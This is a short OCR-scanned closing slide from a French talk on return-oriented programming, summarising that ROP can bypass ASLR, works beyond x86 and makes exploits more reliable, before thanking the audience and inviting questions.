e Contournement de I'ASLR
* Le ROP n'est pas réserveé a l'architecture x86

* Le ROP fiabilise vos exploit

"Preventing the introduction of malicious code is
not enough to prevent the execution of malicious
computations”



MERCI DE VOTRE ATTENTION

QUESTIONS ?
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